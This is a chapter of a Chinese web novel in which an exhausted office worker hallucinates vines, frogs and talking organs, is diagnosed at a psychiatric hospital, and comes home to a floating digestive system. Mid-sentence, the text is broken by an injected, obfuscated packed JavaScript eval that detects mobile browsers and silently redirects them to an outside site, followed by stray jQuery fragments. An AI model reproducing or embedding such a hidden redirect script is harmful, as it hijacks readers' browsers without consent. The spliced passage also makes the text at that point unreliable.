“干嘛盯着我看?”同事摸了摸脸,尴尬地说,“我早饭沾脸上了?”
准确地来说不是早饭,也不是脸。
而是眼睛。
林见渊盯着同事。
同事叫裴硕,男,23岁,刚毕业。通过校招误入歧途进本公司。
现在还在实习期,跟着林见渊边学边做事。
林见渊本来不愿意带实习生,奈何对方身上有种大金毛般的气质,坐在人事科里双手放在膝盖上抬眼看人时候的表情乖巧极了。
特别是那双blingbling的狗狗眼,抬起眼睛求人的时候简直让人无法拒绝。
然而此时,那双乌溜溜的大眼睛里竟然长出了两根藤蔓。
林见渊一开始还眼花,以为裴硕眼睛里钻出来两条虫子。现在看清楚那不是虫子而是藤蔓,似乎也并没有好到哪里去。
藤蔓绿油油的,茎身比手机数据线稍微细一点,上面缀着几片小绿叶子,摇摇曳曳地扭。不怪林见渊第一眼看成毛毛虫。
林见渊盯着藤蔓看了会儿,问:“你眼睛不难受?”
“啊?你这么一说好像是有点。”裴硕低下头开始揉眼睛,“昨天晚上追剧追到两点。我是不是眼睛很红?”
林见渊:“……”
因为藤蔓的关系,裴硕揉眼睛时眼皮也不能完全合上。于是这场面就看起来非常的……不卫生。
林见渊受不了了,说:“哎你别揉了,对眼睛不好。”
“哦,对。哥,你有眼药水吗?”大金毛又抬起狗狗眼。
然而长着藤蔓的眼睛看上去一点都不可爱,反而有种诡异的喜感。
林见渊拉开电脑显示器下面的增高架抽屉,翻出一支眼药水给他。
裴硕欢欣雀跃地说“谢谢哥”,然后就仰起头滴眼药水。
考虑到藤蔓根植于他的瞳孔正中,此举无异于给藤蔓浇水。
事实也正如此——眼药水滴进裴硕瞳孔里,那两根藤蔓就像喝了兴奋剂一样,绿油油的茎条顿时扭得更欢了。像两条粗壮无比的毛毛虫。
林见渊脑袋里浮现出蜗牛肿胀的眼柄里黄绿色寄生虫疯狂扭动的场景。他把吸管啪叽一下戳进豆浆里,问:“你追的什么剧?”
早饭是裴硕给带的,不愧是大金毛,自带暖男气质,自从发现林见渊懒得绕路买早饭后就主动天天给他带。
“啊,呃,就那个,最近很红的仙侠古偶。时少宁和薛璐演的那个。”裴硕脸上一红,仿佛不好意思把剧名说出来,“很老套的一个仙侠狗血剧,不过还蛮好看的。”
林见渊边吃早饭边听裴硕讲剧情。这两个演员他都不认识,他只是有点好奇什么仙侠古偶能让一个热情开朗的男大追剧追到半夜。
事实证明,不是仙侠古偶好看,是男大就好这一口。
林见渊听那狗血剧情听得地铁老人看手机,正在思考如何体面地结束话题,老板姜总从楼上下来,敲了敲桌面说:“十二点半会议室开会啊。”
他们办公室是个开放式的共享空间。一楼是一个个围起来的工位,二楼是老板办公室。
老板只要想变态,随时可以站在高处俯视所有人。这个视角一览无余,比高中教室后门的班主任还恶心。
“哦哦。”裴硕连忙点头,脸上带着刚出社会大学生的唯唯诺诺。其他同事也表示知道了。
林见渊发现姜总对裴硕瞳孔里的藤蔓毫无反应。他扭头看了眼,那两条藤蔓还在不断扭动。看得林见渊心里痒痒的,有一种想把它拔出来的冲动。
但是拔出来会怎么样?
林见渊不敢去想那场景。
姜总一走,同事们就纷纷开始吐槽。
“靠!怎么又开会!特么傻逼姜晨一天天的没事干净想着折腾我们是吧。”
“就是啊妈的。而且十二点半!有毒吧占用午休时间开会!妈的举报他!开完会又不补午休!”
“算了想开点吧。一旦接受了他是傻逼的设定就会觉得他的一切傻逼决策都很合理……”
林见渊喝着豆浆吃着茶叶蛋,默默观察周围同事。
裴硕眼睛里的藤蔓还在当众扭啊扭,同事们却对此视若无睹。
倒是裴硕自己,脸上有种不知所措的神情,仿佛不知该怎么接前辈们的满嘴粗话。
“吓到了?”林见渊看穿他的犹豫,说,“没事,你刚来。等你呆满一个礼拜你就会知道,不是我们素质差,是老板真的太傻逼。”
“哥。”裴硕哭笑不得,“你真会安慰人。”
林见渊一时竟听不出来这话是真心的还是在阴阳,顿觉这个实习生大有潜力。
于是他凑过去小声说:“咱们公司正常午休是十二点到一点。以前是活儿干完了就可以去吃饭,但最近老板发神经,上次开会特别强调说不许迟到早退,特别是中午。老板每天十一点半去食堂吃饭,他吃完饭回来会看看你还在不在。十二点看不到人的话他会发火,把你拉出来全公司通报批评,还扣钱。”
“啊?”裴硕吃惊,“这么变态!”
林见渊:“你这样,十一点钟你就开始点外卖,十一点半等老板走了你开吃,吃到十二点。这样既不会被老板抓到你中午早退,又能多一点时间午休。”
“好主意啊!”裴硕惊为天人,随即又悲愤道,“不过这也太双标了吧!他自己十一点半就去吃午饭,为啥让我们没事也要坐到十二点?”
林见渊耸耸肩:“你懂的。”
裴硕一脸了然:“哦,懂。因为他黑心资本家。”
“不。”林见渊说,“因为他傻逼。”
裴硕:“……”
十二点半,林见渊已经吃过饭又趴在桌上小睡一会儿。裴硕听了他的建议,也一样照办。于是两人双双睡眼惺忪走进会议室。
其他去食堂吃午饭的同事则带着快要化作实质的怨气跟在后面。
众人依次坐下。秘书已经帮姜总准备好PPT,姜总咳了一声,站在投影仪前开口:“我先简单呱两句……”
一只青蛙蹦跶到面前。
林见渊一个激灵,瞪大眼睛地看着面前的青蛙。青蛙背脊绿油油地泛着水光,巨大瞳孔黑漆漆,瞳孔周围有一圈黄色的……眼黄。
青蛙啪嗒啪嗒地一跳一跳。从长会议桌的这头跳到那头。
林见渊顺着它身后的水迹一路望过去,看到姜总在投影仪前唾沫横飞。他的嘴巴一开一合,喉咙上有个裂开的小.嘴也在一开一合。
姜总每“呱”一声,喉咙上的裂口就产卵般地喷出青蛙。青蛙湿漉漉地跳上会议桌,强壮有力的蛙腿在空中跃出优美弧线。
面对着短时间内填满会议桌的青蛙,林见渊傻眼了。
“哥?渊哥?”裴硕拿手肘推推他。
林见渊扶额:“我好像不对劲……”
裴硕:“哥!老板叫你呢!”
林见渊反射性地站起来,望向老板。只见姜总一脸怒容,上面的嘴叭叭叭喷个不停,下面的……不是,是喉咙。喉咙上的嘴也叭叭叭喷个不停。
林见渊已经没办法集中注意去听他在说什么了,满脑子只有呱。
呱呱呱呱呱呱呱呱呱呱呱呱……
老板的叭叭裹着潮湿的蛙鸣,在中央空调里发酵成梅雨季的霉味。
“姜总。”林见渊果断打断姜总的咆哮,虚弱地说,“我可能还得请两天假,我身体不舒服。”
青蛙已经多得会议桌都呆不下了,好多青蛙都跳到了地上,在灰色地毯上满地乱跑。
姜总一听,表情顿时变得古怪。审视的目光在他身上来回打量,仿佛在判断他是不是真的虚弱到需要请病假。
林见渊突然就控制不住脾气了,他说:“我三天只睡了两个小时,改方案改到晕倒进医院!再这么干下去真他妈要猝死了草!”
林见渊说这话的时候拳头握紧,咬牙切齿到声音都有点发抖。姜总一看情况不对,连忙说:“那你休息嘛,我又没说不批!肯定还是身体要紧,你先回去吧!”
周围其他同事也说“是啊是啊赶紧回去吧”。
林见渊一脚踹开凳子,发出好大一声响。裴硕连忙站起来,抓着他的手臂小声说:“哥我要不要陪你?”
林见渊烦躁地点头,裴硕便陪他出来。离开会议室前林见渊从门缝里听见姜总在发牢骚:“他吼我?他居然吼我?这不是还挺中气十足的吗?一个大男人怎么这么娇气……”
回到共享空间的办公区域,周围一个人都没有,林见渊感觉呼吸都畅快了许多。
裴硕担心道:“哥,你没事吧?你刚才到底怎么啦,吓我一跳。”
林见渊说:“没事。你下午休假吧。”
裴硕:“不是陪你去医院吗?”
裴硕说这话的时候那双狗狗眼blingbling的,眼睛里两条藤蔓还在一扭一扭。
不管是藤蔓还是刚才的青蛙,林见渊确信自己脑子肯定出问题了。起步价是个精神分裂。他得火速去精神病院看看。
普通医院也就算了,精神病院还是不要同事陪了吧。又不熟。林见渊遂摆摆手,说:“听话,玩儿去吧下午。以后可能就没这机会了。”
裴硕犹犹豫豫地送他到电梯口。林见渊头也不回,背着单肩包走了。
A市的精神病院名叫A市精神卫生中心,位于江川北路700号。A市人开玩笑经常会说“去江
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749208|174258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
川北路700号”,委婉地表达“你神经病啊!”的意思。
林见渊第一次来这种地方,本以为会见到什么群魔乱舞的场面,没想到进门就是安检。
过安检给人以强大的安全感,仿佛一切危险被隔绝在外。林见渊随便挂了个号,坐在等候区里排队。
等候区屏幕上在叫号,“叮”的一声响,屏幕上跳出来一个急剧闪动的文本框,里面写着“314号王*玲,请到07号诊室就诊”。
不知道为什么那个文本框还是血红色的,剧烈抖动的频率看上去特别一触即发。这样真的好么?
等了半个多小时,总算轮到林见渊。他走进去,前面一个患者正好从诊室里出来。是个小姑娘,估计才初中。边上有个看着像爹的男人陪着。
现在的孩子压力也都很大……林见渊带着感慨走进诊室。
就诊过程跟他想象的不太一样。他脑补的是穿着白大褂的温柔慈祥的医生一边聆听他声泪俱下的哭诉一边点头安慰他,结果只猜对了三分之一。
他并没有哭,对面的医生看上去也不太温柔慈祥。
对面是个年轻男医生,戴了副无框眼镜。文质彬彬,看上去很秀气。非常冷静地与他一问一答。
“那你的幻觉会要求你做什么事吗?”男医生问。
“没有……”林见渊挠头,“青蛙和藤蔓都不会说人话啊。”
“嗯。”医生并未对他的回答做出任何评价,只是继续追问了几个问题。
最后他说:“情况不算严重。你应该是过度劳累和压力太大导致的急性短暂性精神病性障碍。我先开点药给你吃,吃了药就会缓解的。”
林见渊听着那个一连出现三个“性”的病名,莫名觉得好笑:“意思就是我突发恶疾?”
男医生看了他一眼,说:“不要有太大压力,你这种情况通常一个月内就会完全缓解,而且一般不复发。放轻松点吧。如果工作压力太大的话就请几天病假。要开假条吗?”
“好的好的,谢谢医生。”林见渊发现这医生其实挺温柔体贴,连带着觉得他的长相也英俊了起来。
离开时他看了眼门口的牌子,原来这医生叫岑铮。
名字很特别,人也不错。林见渊决定下次来还挂他的号。
公司和江川北路700号和林见渊的家呈一个等边三角形。已知林见渊从公司去江川北路700号,坐了一个小时地铁。从江川北路700号回家也要坐一个小时地铁。
求林见渊从公司回家的时间。
讲道理应该也是一个小时,但生活不是数学。生活还有上下班高峰和挤不上地铁,还有抢不到共享单车。所以如果算上步行时间,是两个小时。
林见渊拎着一袋子药,背负着夕阳慢吞吞走回家。他其实还有点没接受现实,他居然真的得精神病了。那个急性短暂性什么……突发恶疾。
都被压榨成这样了,要不还是换个工作算了?
房租每月3k,吃饭2千。A市物价高,他大部分时间都自己做饭,但他做饭很难吃。实在受不了了会出去吃一顿。现在还要加上吃药的钱。精神病的药居然还挺贵……
算了,还是先混着吧。他三本毕业,在A市这种大都市,三本就跟没上大学差不多。
现在这个公司虽然老板不当人,但好歹每个月给他税前9k。很不错了。交完五险一金还剩到手7k,扣掉房租和日常开销,每个月还能存下来一千块。
但是今天医生只给他开了一礼拜的药,挂号费和药费,还有请假扣掉的全勤……一个月要去四次……还不知道一个月后是不是真的像医生说的能完全康复……
毁灭吧。
要不世界现在就毁灭吧。
林见渊越算越烦躁,只想现在就去小区里捡一坨大便塞到老板嘴巴里去。
他拎着药来到自己家门口,叹了口气,觉得自己像条困在泥潭里跳不出去的鱼。
钥匙插进锁孔,毫无阻碍,像被一张丝滑的喉咙吞下。
林见渊打开门,习惯性地去按墙壁上的电灯开关。啪嗒一声,灯亮了。
客厅里,一套肉粉色的消化系统闻声转过身来,用正面对着他,嘴巴一张一合微笑着对他说:
“你回来啦。”
“你是先洗澡,吃饭,还是,我?”
林见渊:“……”
林见渊上下打量这一坨飘在半空中的内脏。看到它的嘴唇连接喉管,喉管连通着胃袋。肝脏、胆囊,还有一些不认识的器官有序排列在一起。再往下是一大团缓慢蠕动着的肉粉色肠子。
林见渊看了半天,突然火了,骂道:“你这一套下水不还是生的吗,这咋吃啊!”